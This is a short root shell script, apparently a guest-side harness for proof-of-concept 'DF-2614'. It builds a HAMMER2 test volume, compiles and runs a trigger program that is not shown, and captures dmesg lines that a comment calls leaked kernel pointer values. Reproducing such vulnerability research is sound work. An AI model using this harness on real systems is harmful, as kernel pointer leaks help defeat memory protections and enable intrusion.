DF-2614 / run_df2614.sh
#!/bin/sh # DF-2614 guest-side trigger run: image prep + build + run + dmesg capture. # All artifacts in /root/poc/df2614/. Run as root on the guest. set -x D=/root/poc/df2614 mkdir -p $D vnconfig -u vn0 2>/dev/null dd if=/dev/zero of=$D/img bs=1m count=128 2>/dev/null vnconfig -c vn0 $D/img newfs_hammer2 -L testvol /dev/vn0 > $D/newfs.log 2>&1 mkdir -p /mnt/h2poc cc -O -I/usr/src/sys -o $D/df2614_trigger $D/df2614_trigger.c > $D/cc.log 2>&1 || { cat $D/cc.log; exit 1; } dmesg > $D/dmesg.before $D/df2614_trigger 1000 > $D/trigger.out 2>&1 echo "TRIGGER_RC=$?" sleep 1 dmesg > $D/dmesg.after echo "=== baseline counts (before) ===" B_VC=$(grep -c 'volconf update' $D/dmesg.before); echo "BEFORE_volconf=$B_VC" B_RX=$(grep -c 'RCVMSG' $D/dmesg.before); echo "BEFORE_rcvmsg=$B_RX" echo "=== new lines ===" A_VC=$(grep -c 'volconf update' $D/dmesg.after); echo "AFTER_volconf=$A_VC" A_RX=$(grep -c 'RCVMSG' $D/dmesg.after); echo "AFTER_rcvmsg=$A_RX" echo "DELTA_volconf=$((A_VC - B_VC))" echo "DELTA_rcvmsg=$((A_RX - B_RX))" echo "--- volconf lines (the leaked pointer values) ---" grep 'volconf update' $D/dmesg.after | tail -8 echo "--- TRANSMIT lines ---" grep -c 'TRANSMIT VOLCONF' $D/dmesg.after || true echo "--- RCVMSG sample ---" grep 'RCVMSG' $D/dmesg.after | head -3 echo "--- trigger stdout ---" cat $D/trigger.out vnconfig -u vn0 2>/dev/null echo RUN_DF2614_DONE |